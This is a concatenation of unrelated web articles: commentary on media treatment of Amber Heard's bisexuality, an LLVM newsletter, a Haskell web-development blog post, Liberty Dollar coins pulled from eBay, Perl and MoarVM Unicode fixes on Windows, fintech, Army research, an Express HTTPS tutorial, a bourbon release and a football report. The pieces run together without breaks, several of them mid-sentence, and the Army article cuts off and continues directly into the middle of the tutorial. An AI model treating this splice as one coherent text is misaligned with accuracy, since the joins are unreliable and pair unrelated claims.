Of course, if Heard wasn’t bi or out, we’d probably still see media speculation that she was having an affair. But since she’s been relatively open about her orientation, the assumption, driven by quotes from an “unnamed source,” seems to be that her marriage to Depp was doomed because she wanted to go back to women. That, for me, cuts to one of the most frustrating aspects of bisexuality: as a bi woman, I feel I’m always seen as actually gay, or a liar, or both. When I’m with a man, I’m perceived as having chosen men, and when I’m with a woman, I’ve switched teams. I wish more publications, in discussing Heard, would remember that bisexuality doesn’t inherently connote promiscuity, and that it’s possible to be bisexual and be in a happily monogamous relationship.
It’s also upsetting to see articles, like The Sun’s classy “Bi-Bye Amber” post, that claim Heard’s bisexuality actually drove Depp insane, as if her orientation somehow made him less culpable for his alleged actions than he would be were she straight. By repeatedly referring to her as Depp’s “bisexual wife,” the media is also implying that bisexual women are a monolith (the horny Borg!), as if prefacing a woman’s name with “bisexual” should tell you all you need to know about her.
Bisexuals are often perceived as duplicitous, untrustworthy, and indecisive (or as Cross put it, quick to “travel across to the other side”). Not only is that perception untrue, it’s also dangerous. A nationwide study on domestic violence and sexual orientation released in 2013 found that 61.1% of bisexual women had experienced rape, physical violence, or stalking by a partner. 89.5% of bisexual participants who reported that behavior said they had only experienced that abuse from male partners. The study didn’t examine why bisexual participants reported such high rates of violence, but it’s not too far a leap to assume that some of the prevailing misconceptions of bisexuals (that, as Cross put it, we’re not a “wise” choice for a serious partner) might partially contribute.
Given that, I hope we see more of the media taking Cross’ tack and amending how they discuss bisexuality. That doesn’t mean Heard’s orientation shouldn’t be mentioned at all, of course. But bisexuality shouldn’t be used to imply that Heard is inherently less trustworthy than a straight woman, nor should it be used an excuse for Depp’s alleged violence.
(via @alyciatheist on Twitter, image via Ilona Ignatova/Shutterstock.com)
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Follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google+.LLVM Weekly - #39, Sep 29th 2014
Welcome to the thirty-ninth issue of LLVM Weekly, a weekly newsletter (published every Monday) covering developments in LLVM, Clang, and related projects. LLVM Weekly is brought to you by Alex Bradbury. Subscribe to future issues at http://llvmweekly.org and pass it on to anyone else you think may be interested. Please send any tips or feedback to asb@asbradbury.org, or @llvmweekly or @asbradbury on Twitter.
News and articles from around the web
An implementation of Common Lisp with an LLVM backend, Clasp, has been announced. There's a lot of work to be done on performance, but development is very active on Github.
A backend for the educational 'y86' instruction set architecture has been started. The source is on Github.
A new binary snopshot of the ELLCC cross compilation toolchain is now available. Pre-compiled binaries are available for ARM, MIPS, PPC, and x86. All tarballs contain header files and runtime libraries for all targets to allow you to build for any supported target.
On the mailing lists
LLVM commits
Segmented stacks support for the x32 ABI has been fixed. r218247.
Robin Morisset's work on optimisation of atomics continues. AtomicExpandPass now inserts fences itself rather than SelectionDAGBuilder. r218329.
LLVM's libSupport gained a type-safe alternative to llvm::format(). r218463.
llvm-vtabledump learned how to dump RTTI structures for the MS ABI. r218498.
Clang commits
The assume_aligned function attribute is now supported. r218500.
The thread safety analysis documentation has seen a hefty update. r218420.
MS compatibility is further improved with support for the __super scope specifier. r218484.
Other project commitsThis is a post in the Beyond Clojure blog series, in which a Clojure developer looks at typed languages for web app development. This is by no means a complete survey of the Haskell web development landscape, rather a random collection of thoughts.
If you are interested in typed functional languages one stands taller than the rest. Its impossible not to get sucked into the Haskell vortex, but why fight it? In spite of its reputation of being extremely hard to learn and even harder to master, there are several excellent resources out there and you are guaranteed to learn a lots of very valuable lessons.
Haskell is pure in the truest form, the succinctness of its core ideas and libraries are nothing but fantastic. It is the one language that has truly transcended the mundane imperative problem solving style and instead tackling problems (very neatly) at a higher level. One thing I really like about Haskell is that ‘things’ are called what they are, using academic terminology. Many other languages, which do have Monads etc, tend to shy away and use another names for them, which I think only adds to the prevailing confusion.
As long as you stay in the walled garden on the core libraries (which most of the Haskell literature does) you are presented with concise and beautiful world. Its an environment that inspires problem solving and looking at a problem from many angles. There is almost always a way to solve a problem in a cleaner way, and this inquisitive attitude is widespread in the community. In Haskell beginner meet-ups / chat-rooms more experienced developers tend to give hints and let you ‘work out the problem on your own’ rather than just give you the answer. I find it makes learning the language a very gratifying experience.
Avoid success at all cost
One thing to understand about Haskell is that its a research language, and this fact makes it very different from many other ‘industry languages’. The ironic motto of Haskell has always been ‘avoid success at all cost’. One way of interpreting this statement is that by avoiding having a large user-base relying on the stability of the language features, the authors/researchers are free to explore new ideas, which they can later remove if they change their mind. Contrast that to a language like Java which is a victim of its own success and has been stuck in innovation-paralysis for decades. Its quite evident in the most popular Haskell compiler, GHC, which supports the latest Haskell standard Haskell2010 and on top of that has a plethora of language extensions, some considered more safe than others.
It turns out that when you venture outside the walled garden of the core libraries and start using Haskell ‘for real’, its unavoidable to have several of these language extensions in pretty much all your modules. Most, if not all, libraries you use will also use extensions and some even require the use of them in your code. How big of a deal this is comes down to your tolerance for future change.
If you are thinking about using Haskell as you main language, and having a 5+ year view, this could be cause for concern. If you plan to start using GHC (which is the compiler ‘everybody’ uses) for business critical services, having a strategy for keeping up with language/compiler changes and the extra work it will impose on your teams is something to factor in. Developing a discipline amongst your developers on what extensions to use is also important.
Lazy-ness
One of the core design principles since the beginning of Haskell is lazy evaluation. This is more than lazy sequences that you see in other functional languages. Basically every expression gets thunked and is only realized when another expressions ‘pulls’ for the result. Lots of the beauty of Haskell comes from this technique, but it does offer a number of practical problems. The chief one being that its very hard to work out the time/space complexity of a function. Huge ripples of expressions in other functions might get triggered in the context of the function you are currently benchmarking. There is no way around it, eager evaluation is easier to reason about, but that doesn’t invalidate Haskell’s approach.
Another problem is that you generally don’t get stack traces on runtime exceptions. It has to be enabled at compile time and for production builds this is generally not on. And even when you get the trace, since its lazy evaluated, its not exactly as straight forward as a Java stack trace.
As always there are more or less complete workarounds, but in non trivial situations (like production downtime scenarios always are) will have you pray for Java-like profiling tools. You will inevitably go through a journey of learning the right mix of compiler optimization flags, bang patterns and other hard lessons learned before landing a on a set of best practices that works for your applications.
Working in a typed language
Being a Clojure guy working in Haskell the difference of how you go about crafting your code is quite stark. In Clojure you save off some off the data you want to work on in var, and start writing transformations. Feedback are often Clojure runtime errors while you trying to get your expressions to match the shape of the data. In Haskell you start off thinking about the your abstractions (types) and your main feedback is type errors from the compiler pointing out where you contradict yourself. You also develop a strong sense of ‘if it compiles it works’, because runtime errors are rare. This does by no means eliminate the importance of tests, but tests doesn’t play the same role it does in a Clojure code-base. In Haskell I don’t need tests to give me confidence that my code is glued together correctly or that I didn’t forget to alter a case expression because of a change in a GADT. The compiler checks all that for me and says “that change requires further changes here, here, here and here”. For me this is a massive a win, huge.
The type errors are scary in the beginning, but you develop patterns how to interpret them. The complexity of the error messages also ramps when you move from following along in a Haskell book, to build real applications, with 6 level deep Monad Transformer stacks. Some libraries are worse than others, the lens library’s type errors are a chapter in and of itself.
You are constantly building up your toolbox on how to fix issues that crop up. Lots of learning, sometimes frustrating but also lots of fun.
Tooling
The ‘Haskell IDE’ has traditionally been Emacs/Vim plus a terminal, which has really good language modes. There are lots of extra helpers and linters that give a very pleasant developer experience. There are plug-ins for the traditional IDEs but they are typically less refined. I’m happy with my Emacs, haskell-mode, ghc-mod, hlint setup which gives me a very interactive workflow. If you need a more traditional IDE setup, IDE-Haskell and Haskell For Mac looks promising.
Working with libraries and dealing with dependencies are done with cabal. Cabal has lots of issues and a tarnished reputation inside and outside Haskell circles. Haskell developers have been looking far and wide for solutions. Part of the problem is that, not only does the version of the library (and its dependencies) matter, but also what version of the compiler was used to produce it. Since the compiler is generating machine code, you also have the problem of cross-compiling. Compiling an executable on your Mac won’t run on your Linux server.
Recently, lots of the gripes working with cabal were solved by a tool called Stack. I’m a very happy stack user (and I don’t need Nix). Stack is a huge improvement for the Haskell tooling story.
You are mainly working with GHCi (the REPL) or GHC itself. I can’t say that GHC is particularly fast, my main experience in this regard is compiling various libraries and their dependencies. Going for a 5 min tea break while GHC chugs away is not uncommon. Also, GHC needs lots of ram, gigabytes of it to compile the larger libraries. If you are growing a large code-base, I imagine compile time and RAM usage on the CI box will become real issues.
Libraries
There are lots of Haskell libraries available, its a bit bewildering finding the good ones. If you are building web apps most bases are covered; web frameworks, database connections, templating etc are there and of good quality. However, its still far off the Java ecosystem. Haskell is kind of trapped in a chicken or egg situation when it comes to available libraries. In Java land, chances are high that you’ll find a ‘off the shelf’ library for pretty much any service you want to interact with or task you want to perform. This is not the case in Haskell, the landscape is much narrower. If you want an easy route to use the latest AWS APIs or hook up to a Riak data-store you’re out of luck. The basic building blocks are there but you have quite a bit of work ahead of you putting them together. This fact is holding back Haskell adoption, which in turn is not helping these libraries being written.
This leads me to another problem, saying that the libraries on the web-app space are of good quality is one thing, they are however not battle-tested to anywhere near the same degree as Jetty, JDBC or Netty in the Java space. One thing you don’t want to have to deal with as a time-constrained developer is bugs or inefficiencies deep inside your web server.
Documentation of Haskell libraries is usually quite bad. Some authors seem to think that type signatures are all the documentation you’ll need, but of course that is not true. I can’t say that documentation in the Clojure world is much better, but don’t expect loads of beginner friendly docs on how to use the various libraries you are evaluating. I find myself resorting to googling for stack overflow answers or a “import TheLibIAmLookingAt” in-all-repos-in-github search.
The topic of libraries is my main concern with adopting Haskell as ‘the language to use’ in a real world scenario. Lack of battle-scars and the niggling feeling that you’ll end up in a situation 6 months down the line where a crucial library you desperately need hasn’t been written or is not good enough. You don’t want to find yourself painted in a corner concluding that ‘Oh, you can’t do that in Haskell (without a herculean effort)’.
Ops
Compiling to native executable has benefits, you avoid having to provision runtimes (and upgrading them) on your deployment machines. But you do have to deal with the cross-compilation complexities stated above however. As a whole, deployment of Haskell programs is fine, build your binary, stick it in a container or find another means to transfer it to the production VMs and run it.
Next up, logging. Logging is a bit tricky in Haskell since its lazy evaluated. It can be quite hard to make sense of the logs of a Haskell program since alot of it can seemingly ‘run out of order’ or ‘happen at the wrong time’. There is also no standard logging framework, so in a production situation where you want to know what is going on in your code (and the libraries you are using), and send those logs back to logstash, you’ll have work cut out for you. Not insurmountable but effort has to be put into it. It’s a different world than using logback in Clojure without thinking about it much and being able to tweak the log levels of the the different libs you are using.
Another thing you really need in production is insight into your Haskell processes. What’s happening to the heap? How busy is the garbage collector? Is service B about to fall over? While there are solutions out there, they are nowhere near as complete as whats available on JVM/.NET. While packages like ekg looks good enough, its a source for concern.
A simple JSON service
Throughout this blog series I’ll use a simple TodoMVC-ish example for both backend and front end code. For the Haskell backend I chose the following;
Snap web framework
Persistent database abstraction and connection pooling
Esqueleto SQL query DSL
My code can be found here
With my Clojure glasses on I’m quite happy with the layout of the web app I get with Snap. For a very simple app like this, I really have no complaints. The routing functionality looks deep enough to cover my needs, and its straightforward to factor out model and handler functions.
JSON marshaling works nicely and ties into Haskell data in a good way.
Getting migrations ‘for free’ from Persistent is a nice touch.
I am also really enjoying using pattern matching for situations with many cases
… and in MaybeT to simplify code that in Clojure would be big cond blocks.
Finally, Snap comes with a handy test module to testing your handlers, which kept me happy for this little experiment.eBay was contacted by the U.S. Secret Service sometime last month to remove the Liberty Dollar precious metal coins. Citing consistency with eBay's general policy of not listing counterfeit items, eBay spokesperson Ryan Moore confirmed the ban with Coin World. The following email was sent to affected sellers when the systematic removals began:
The United States Secret Service has requested the removal of all Norfed Liberty dollars on the eBay site as counterfeits. … Please do not relist this item(s). We appreciate that you chose to list this coin on our site and understand there was no ill intent on your part. Your listing fees have been credited to your account.
Real is fake and fake is real. That's pretty much the monetary world that we live in now as we are coerced to trade and pay taxes in the designated and one 'legitimate' State currency. Certainly, the U.S. Secret Service wouldn't want anyone purchasing pure (.999 fine) gold and silver medallions mistakenly thinking that they might be getting official and real money issued under the authority of the United States.
Deriving its authority from Title 18 of the United States Code, Section 3056, the United States Secret Service is one of the nation's oldest federal investigative law enforcement agencies and it was originally founded in 1865 as a branch of the U.S. Treasury Department to combat the counterfeiting of U.S. currency. In addition to its mandate of protecting the president, vice president, and others, the U.S. Secret Service is responsible for maintaining the integrity of the nation's financial infrastructure and payment systems:
The Secret Service has jurisdiction over violations involving the counterfeiting of United States obligations and securities. Some of the counterfeited United States obligations and securities commonly investigated by the Secret Service include U.S. currency (to include coins), U.S. Treasury checks, Department of Agriculture food coupons and U.S. postage stamps.
Rather than the beginning of a second wave of gold confiscation, this action to remove coins at eBay and other sites is aimed directly at NORFED Liberty Dollars issued from the now defunct mint of monetary architect Bernard von Nothaus who was convicting of counterfeiting in 2011. For those that haven't followed every twist and turn of this landmark case, I would recommend the amicus curiae brief filed by GATA, the brilliant piece from Lew Rockwell, and the possible implications of the von Nothaus case on other attempts to start a new currency.
The State's nervousness with alternative money creation extends far beyond the lookalikes and the replicas. It goes to the heart of creating a new monetary system evidenced by the targeted shut down of systems that achieve significant market adoption or present an embarrassing dilemma. At issue in the von Nothaus motion to set aside his conviction is the larger constitutional question of whether the government has the power to outlaw the private coinage of money.
Presiding over one of the most egregious assaults on monetary freedom in history, District Court Judge Voorhees still has not set a date for the von Nothaus sentencing. In announcing the verdict, U.S. Attorney Anne M. Tompkins declared:
Attempts to undermine the legitimate currency of this country are simply a unique form of domestic terrorism. While these forms of anti-government activities do not involve violence, they are every bit as insidious and represent a clear and present danger to the economic stability of this country. We are determined to meet these threats through infiltration, disruption, and dismantling of organizations which seek to challenge the legitimacy of our democratic form of government.
"It's a loser's game to suppress private money that is sound in order to protect government-issued money that is unsound," writes Seth Lipsky in the Wall Street Journal.
For budding monetary entrepreneurs that may be seeking legitimacy to avoid von Nothaus' fate, Robert Murphy of the Mises Institute points out the folly of searching for legal loopholes because "if any attempts to circumvent the dollar actually got off the ground, then the government would find some legal pretext to shut it down." If a competing system posed a genuine threat to its monopoly on money, the government would find a way to prosecute it, "meaning no entrepreneur would spend the resources and time trying to launch an alternative system."
Decentralized and digital currencies without a single point of failure are starting to show some resiliency to arbitrary and capricious shutdowns.
Political freedom can only be preceded by economic freedom which is preceded by monetary freedom. And, critical elements of monetary freedom are currency competition and the right of private coinage. We need more entrepreneurs that rely on the free market, not the law, as their weapon of legitimacy.
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Related on Forbes:Last year GM was planning to introduce the Holden Commodore Ute--a two-door version of the regular four-door sedan but with the rear chopped off and replaced with a tray--to the U.S. market as a Pontiac GT Sport Truck but for several reasons, namely money problems and CAFE, the plans were scrapped. The Commodore Ute, however, has lived on in its home market of Australia where one fan has decided to graft the front-end of the Camaro muscle car onto the utility vehicle's body.
The result is this odd-looking beast that’s doing the rounds as the ‘El Camarino’, the name harking back to the original El Camino model from Chevrolet.
Considering the latest Chevrolet Camaro rides on the same platform as the Holden Commodore, the transformation process shouldn’t be a major ordeal, although we suspect this wasn’t just a bolt-on job and that some customization would have been required.
The vehicle’s creator has now developed it is a kit and before you say that it’s something only to be seen in Australia, this particular example was spotted in Nashville.
[Performance Street Car via Autoblog]Notes on Unicode on the command line in Windows with applications to Perl and Perl 6 A. Sinan Unur February 08, 2017
Handling of interesting characters on the command line in Windows or DOS environments has never been an annoyance-free experience. Heck, 30 years ago, I was patching lookup tables in keyboard drivers for IBM PCs and compatibles at METU so we could write stuff using Turkish characters. At the time, there wasn't even a standard Turkish keyboard layout. So, we have come a long way.
If you are writing a C program from scratch, it is simple to accept all sorts of characters on the command line and work solely with UTF-8 encoded stuff. Instead of main, use wmain :
int wmain(int argc, wchar_t *argv[], wchar_t *envp[]) {
Your program will now receive command line arguments in UTF-16. You can convert the argv and envp arrays to UTF-8 encoding and just work with them or stick with the wchar_t and compatible functions, depending on which makes the most sense for your specific situation.
However, when you are dealing with a script interpreter written mostly for *nix folks, things get hairer. For example, the following behavior always annoyed me:
C:\> chcp 65001 Active code page: 65001 C:\> perl -CS -E "say 'kârlı iş'" kârli is C:\> perl -CS -E "say 'kârlı iş'"|xxd 00000000: 6bc3 a272 6c69 2069 730d 0a k..rli is..
What happened there? Why do we see "â" but not "ı" or "ş"?
Simple, perl does not define a wmain, but uses the standard main function as the entry point. Therefore, arguments to it are simple char s corresponding to entries in the current ANSI code page. Windows looks at the string passed to this program, and tries to map the arguments to their best representation using the characters available in the OS' code page. In my case, this is CP 437 (I have never used anything other than the US code page simply because, throughout the decades, it was easier to give up using "ş" in filenames than dealing with various uncertainties in various incarnations of DOS and Windows). As luck would have it "â" does exist in CP 437 at 0xE2. Using -CS, I told perl to encode the output in UTF-8 and I set the locale code page to UTF-8, so I get the correcly encoded output displayed correctly. phew!
But, the string lost its original meaning in the process: A "profitable business" has become "profitable soot" (most Turks are not fooled by accidental substitutions of "i" for "ı" :-) That is because neither "ı" not "ş" are in CP 437.
This behavior is not specific to perl, but Perl is the language I use most often.
What happens if we ask perl to execute a file whose name contains another character that does not exist in the ANSI code page?
C:\> perl yağmur Can't open perl script "yagmur": No such file or directory
Yup, the Turkish soft g, "ğ" does not exist in CP 437 either, so "g" is substituted in its place with predictable effects.
None of this is original or new. And none of it prevented me from doing extremely useful work in many languages on Windows using Perl by avoiding the trouble spots. I avoided investing time into figuring out a solution, because I was convinced such a fix would have to touch way too many spots all throughout Perl's source code and I did not feel up for that.
So, that was a long intro. I am going to ask you to tuck that away for a bit while I digress a little.
A couple of weeks ago, brian and I were discussing a hidden gotcha with perl6. Currently, perl6 on Windows is a batch file and on *nix systems it is a shell script. Which means invoking it via system or opening a pipe ends up involving a shell no matter what you do... That is not the end of the world, but it is problematic in certain contexts.
These shell scripts and batch files are just wrappers around moar invocations. The thought occurred to me that one could just templatize a simple OS-specific C file to wrap the invocation of moar. Then, Configure.pl would fill in the various paths, and, bingo, system perl6 => @args no longer needs to involve the shell. Of course, the Windows version of this idea is more fiddly because you have to take the command line arguments passed to the wrapper and flatten them correctly to a string containing both the arguments to moar and the arguments passed to the wrapper because CreateProcess expects command line arguments in a string.
While writing the code for flattening the arguments (and making sure everything is correctly quoted and escaped), another thought popped up: perl has for a long time allowed one to specify that command line arguments are UTF-8 encoded. Except, on Windows, it doesn't work well because by the time perl's main sees the arguments, they have already been mapped to whatever ANSI code page by Windows.
What if my wrapper used wmain so it received the command line arguments in UTF-16, but used CreateProcessA to invoke perl with the -CA argument along with any additional arguments specified on the command line? (As far as I can tell, I can't use a similar flag with perl6 or moar.)
If I did that, I could encode the path to perl using the ANSI code page and append the arguments to the wrapper to the plain char array holding the command line after encoding them in UTF-8. I wrote a simple proof of concept. Lo and behold, it works on my simple set up:
C:\> p5run -Mutf8 -CS -E "say 'kârlı iş'" kârlı iş
except...
C:\> p5run -CS yağmur Can't open perl script "yağmur": No such file or directory
That's what we economists call a Pareto-improvement: The situation is made better in some contexts and no worse in others. Not perfect, but a movement in the right direction.
At this point, I remembered that Perl 6 is designed from the ground up around Unicode and the wrapper may have more success there. So, I cobbled together something and I was met with disappointment:
C:\> p6run -e "say 'kârlı iş'" kârlı iÅŸ
Ouch! Clearly, something somewhere was re-encoding things.
I must admit, I am still not comfortable with exactly how all the layers involved in executing Perl 6 code fit together, so I went searching in GitHub repositories. During the process, I filed a confused bug report because I got fooled by GitHub's syntax highlighting inside a POD section, but that serendipitously led to timo pointing me in the right direction.
The deed indeed happens in MoarVm/src/io/procops.c:
MVMROOT(tc, clargs, { const MVMuint16 acp = GetACP(); const MVMint64 num_clargs = instance->num_clargs; MVMint64 count; MVMString *prog_string = MVM_string_utf8_c8_decode(tc, instance->VMString, instance->prog_name, strlen(instance->prog_name)); MVMObject *boxed_str = MVM_repr_box_str(tc, instance->boot_types.BOOTStr, prog_string); MVM_repr_push_o(tc, clargs, boxed_str); for (count = 0; count < num_clargs; count++) { char *raw_clarg = instance->raw_clargs[count]; char * const _tmp = ANSIToUTF8(acp, raw_clarg); /* <-- here, line 1243 */ MVMString *string = MVM_string_utf8_c8_decode(tc, instance->VMString, _tmp, strlen(_tmp)); MVM_free(_tmp); boxed_str = MVM_repr_box_str(tc, instance->boot_types.BOOTStr, string); MVM_repr_push_o(tc, clargs, boxed_str); } });
So when my wrapper encodes the command line arguments in UTF-8 and passes them to moar, they go through the blender … and out come some minced guts or some such. To verify my intuition, I deleted lines 1243 and 1246 and rebuilt MoarVM. This time, my wrapper gave the correct output.
That meant I just had to make sure command line arguments got encoded in UTF-8 at the earliest opportunity. I added the following function to procops.c :
MVM_PUBLIC char ** UnicodeToUTF8_argv(const int argc, const wchar_t **wargv) { int i; char **argv = MVM_malloc((argc + 1) * sizeof(*argv)); for (i = 0; i < argc; ++i) { argv[i] = UnicodeToUTF8(wargv[i]); } argv[i] = NULL; return argv; }
and modified MoarVM/main.c to use wmain on Windows:
#ifndef _WIN32 int main(int argc, char *argv[]) #else char ** UnicodeToUTF8_argv(const int argc, const wchar_t **wargv); int wmain(int argc, wchar_t *wargv[]) #endif { MVMInstance *instance; const char *input_file; const char *executable_name = NULL; const char *lib_path[8]; #ifdef _WIN32 char **argv = UnicodeToUTF8_argv(argc, wargv); #endif
and rebuilt MoarVM (note that creating the UTF-8 encoded argv array involves allocation memory which needs to be freed at some point, but, at this point, I am just exploring).
And, here we go:
C:\> perl6 -e "say 'kârlı iş'" kârlı iş
and
C:\> type yağmur say "it's raining!"; C:\> perl6 yağmur it's raining!
I haven't had time to run the test suites yet. In addition, MVM_proc_getenvhash also needs to be fixed in a similar manner:
C:\> set iş=kârlı C:\> @echo %iş% kârlı C:\> perl6 -e "say %*ENV<iş>" (Any) C:\> perl6 -e "say %*ENV<is>" kârli
That's why I haven't put together a pull request yet.
The discovery process itself was interesting enough for me to want to share it. I'll take care of the pull request as soon as I can. If someone decides to go ahead and patch MoarVM with these changes or improve upon them, I am OK with that, too. In that case I would really appreciate an acknowledgement. I think I deserved one in response to my discovery of erroneous EOL handling, among others.
I am not sure if the fix to perl will be so straightforward.
PS: For reference, examples using other interpreters:
C:\> ruby -e "print 'kârlı iş'" kârlı iş C:\> python3.6.exe -c "print('kârlı iş')" kârlı iş C:\> python2.7.exe -c "print 'kârlı iş'" k�rli is
PPS: I still think wrapping moar using a proper C program is the way to go and I am working on a nice templatable wrapper on Windows which I'll make available soon.
PPPS: You can discuss this post on r/perl.
PPPPS: Here is the pull request.N26 now has 500,000 customers for its bank of the future
Fintech startup N26 is getting more and more customers. The company reported 300,000 customers back in March. It now has 500,000 customers across Europe.
More importantly, growth seems to be accelerating as the startup announced that it was adding a thousand customers every day back in March. Now, around 1,500 customers sign up every day.
“More than 60 percent of our growth is still organic,” N26 co-founder and CEO Valentin Stalf told me.
But it doesn’t mean that N26 is going to stand still. The company plans to ramp up ads and branding efforts. The idea is that getting more customers through ads should also increase organic signups.
In total, N26 users have managed more than $5.9 billion (€5 billion). When you compare it to Revolut, the company currently reports $3.3 billion (Update: $4.3 billion, there was a bug in the reporting tool) in transaction volume with nearly 780,000 customers on its homepage.
Maybe N26 has more active users than Revolut. Maybe Revolut users only use their Revolut card when they’re traveling abroad and not for local purchases.
N26’s main markets are Germany, Austria, France, Spain and Italy. People in dozens of other European countries can also sign up, but they won’t have as many features as German customers.
When you open an N26 account, you get a current account with a MasterCard. You can send and receive money with your German IBAN, and buy things with your card without any foreign transaction fee.
Over time, the startup has added more products to turn N26 into a full-fledged bank. You can save money, invest money, get a loan, control all your insurance contracts and more.
It’s a bit weird to see a bank adding new features as many banks have been standing still for too long. But that might be the reason why hundreds of people have created an account so far.ORLANDO, Florida (CNN) -- Regrowing a fingertip cut off in an accident sounds like something from a futuristic movie. But with innovative technology developed by the U.S. Army, such regrowth is possible today.
This remotely controlled robot, called BEAR, could help remove injured soldiers from battlefields.
This research project and a hundred others were on display this month at the 26th Army Science Convention. Some the greatest minds in science from around the world gathered at the four-day conference to exchange ideas and showcase collaborative projects between the Army's research laboratories, universities and partner industries.
The main goal is to develop technology to make soldiers safer and more effective, said Thomas H. Killion, the Army's chief scientist.
The Army's regenerative medicine study combined properties from the intestinal lining and the urinary bladder to create a regenerative substance called Extracellular Matrix.
The cream-colored crystallized |
by using the https node module. To do this, we’re going to need two files, a certificate and a private key. As an aside, do not ever share your server private key and only let authorized users access the private key file.
I also recommend either copying fullchain.pem and privkey.pem into your project directory or creating symbolic links to them. Creating symbolic links makes the renewal process easier but it depends on your preference.
The code assumes that you have fullchain.pem and privkey.pem in a folder called sslcert in your project directory.
// filename: app.js
const https = require('https');
const fs = require('fs');
const express = require('express');
const app = express();
// Set up express server here
const options = {
cert: fs.readFileSync('./sslcert/fullchain.pem'),
key: fs.readFileSync('./sslcert/privkey.pem')
};
app.listen(8080);
https.createServer(options, app).listen(8443);
It’s also a good idea to use Helmet.js with this setup. Helmet.js helps secure Express servers through setting HTTP headers. It adds HSTS, removes the X-Powered-By header and sets the X-Frame-Options header to prevent click jacking, among other things. Setting it up is simple.
npm install --save helmet
Then you can tell Express to use it as a middleware.
// filename: app.js
app.use(require('helmet')());
You can now use the SSL Server Test to verify your server. Green locks for everyone!
But wait, when does this expire? How easy is the renewal process?
Renewing Your Certificate
Let’s Encrypt certificates only last for 90 days, for better or for worse. The renewal process is simple though. We just need to run letsencrypt renew and Certbot will issue you a new certificate. It’s recommended to automate this renewal process using either a cronjob or something like systemd.
That’s it! We have an SSL certificate for an Express server. Done and dusted.
Conclusion
To recap, we set up Express to serve static files at a specific path, used Certbot in webroot mode to generate a certificate for our server and then wired up HTTPS with Express using the newly generated certificate. While we weren’t able to use the automated Certbot process, the manual process we followed wasn’t much more complicated.
Hopefully, Certbot will have some Node.js support soon!BourbonBuzz.com just received news from Four Roses that their annual Limited Edition Single Barrel Bourbon will be introduced in May. The 20011 offering will have a flavor profile that has never been commercially offered by them before. Keep reading for the news about the 2011 LE Single Barrel and Small Batch straight from the Master Distiller, Jim Rutledge.
Many consumers look forward to our annual Limited Edition series of Special Single Barrel and Small Batch Bourbon offerings. (I enjoy reading the speculations of Bourbon connoisseurs across the U.S. relative to the recipe we will use for our next LE Single Barrel offering. Speculating on the formula of recipes for our LE Small Batch is too complex for speculation.) We are targeting May for the introduction of our Limited Edition Single Barrel Bourbon. This year we will use one of the 10 recipes that has not previously been bottled as a stand-alone Bourbon brand, and I am confident it will be a resounding success. I’m afraid the demand will be greater than our supply, and I won’t know for sure how many bottles we can fill until the barrels are actually dumped and gauged. The recipe we will use this year is OBSQ. “B” mashbill consists of: 60% corn, 35% rye and 5% malted barley. “Q” yeast generates a floral essence and when I first analyzed samples from the barrels we have selected I distinctly recall the first aroma I noticed reminded me of a “bouquet of red roses,” and it was Amazing! I believe you will have the same delight and perception.
Four Roses’ 2011 Limited Edition Single Barrel Bourbon is uncut and non-chill filtered with approximately 3,600 bottles to be distributed in May to markets where the brand is currently available.
We are also working on our Limited Edition Small Batch which will be introduced in September. Small Batch takes a lot longer to arrive at the ultimate formula – since various combinations of all 10 recipes may be considered. I’m not sure at this time how many of our recipes we will use to achieve “something special,” but it will probably be specially selected barrels from 2 or 3 of our ten recipes.Get the biggest Middlesbrough FC stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Middlesbrough FC made it back-to-back pre-season wins after an excellent 3-1 win at Championship new boys Aston Villa.
Boro went into the break behind after a subdued first-half display, with Nathan Baker nodding Villa into a deserved lead.
But it was a formidable second half performance by Boro, with Alvaro Negredo, Viktor Fischer and substitute Jordan Rhodes all on target for Aitor Karanka's men.
Negredo's close-range finish brought Boro level after Fischer's low shot was only parried, before the Danish international got himself on the scoresheet after a cutting counter-attacking move.
And Rhodes took his pre-season tally to five only seconds after coming off the bench, as Boro secured a morale-boosting win.
Here's how three of Boro's new signings fared:
Victor Valdes
All eyes were on the Boro teamsheet ahead of the game, with the goalkeeping position perhaps the most intriguing following the signing of Brad Guzan on Thursday.
Victor Valdes got the nod, after only previously playing 45 minutes of Boro's pre-season campaign and managing only 10 appearances in total since March 2014.
The ex-Barcelona stopper started a tad nervously as an early kick sailed straight of play, but he followed that up with a smart save down to his right to deny Jordan Ayew - a morale-booster for any keeper.
But Villa were in front from the resulting corner as Leandro Bacuna's simple cross from the left sailed over his head - and Nathan Baker rose highest at the back post to nod home.
The 34-year-old was kept busy throughout, with Gary Gardner stinging his palms with a 25-yard drive before he was forced to smother a teasing Alan Hutton delivery, but it was a fairly routine first half for a player of Valdes' credentials.
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Another kick was skewed in the early stages of the second half, and on 73 minutes he was forced to race off his line and make an acrobatic clearance as Dael Fry was under threat.
But he'll be pleased with his overall contribution at Villa Park.
Viktor Fischer
Boro's man of the match by some distance, coming away with a goal and an assist. That'll do him the world of good.
Started the game very brightly with a couple of raids forward, and kept Villa's defenders guessing when swapping positions with Downing.
It was on the wing, cutting inside on his right foot, where the Danish international looked most threatening - but was on the receiving end of a bruising tackle from Tommy Elphick and faded.
Villa got plenty of joy down the right, and Fischer was twice caught napping as full-back Alan Hutton got beyond him on the overlap - and Boro had Valdes to thank for sparing their blushes.
In the second half, Fischer drifted into the middle and let an early effort go - but it was deflected wide as Boro recorded their first shot of the match.
But his telling contribution came as Boro levelled in the second half as he drifted into space, and fizzed a shot towards goal which was too hot to handle for Pierluigi Gollini.
That allowed Negredo to pounce - and he took centre stage again on 75 minutes as he fired Boro in front.
It was a clinical counter-attacking move as Negredo fed Fischer on the left, and it was a smart right-footed finish into the corner for the 22-year-old.
It was just reward for an excellent display overall. He's given Karanka food for thought ahead of Wednesday's trip to Udinese.
Alvaro Negredo
Another start, and another goal for Boro's big-name summer signing. You can't argue with that!
As Boro toiled at Villa Park, Negredo reacted quickest when Viktor Fischer's low effort was only parried by keeper Pierluigi Gollini and slotted home the rebound.
That will do his confidence no harm, and he's proved his predatory instincts by finding himself in the right place at the right time.
But he didn't have it all his own way, and cut a frustrated figure for large spells.
Negredo got his first opening on nine minutes as Albert Adomah fed him from the right, but on the spin, the ball got stuck between his feet and the chance went begging.
But despite minimal service in the first half, he showed an admirable willingness to drop deep and start moves - floating one wonderful ball over the top for Albert Adomah which was just too strong for the Ghanaian.
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It wasn't just in the final third where the Spanish international's aerial ability was handy either, as he tracked back and made a crucial clearance from a Villa corner at the beginning of the second half.
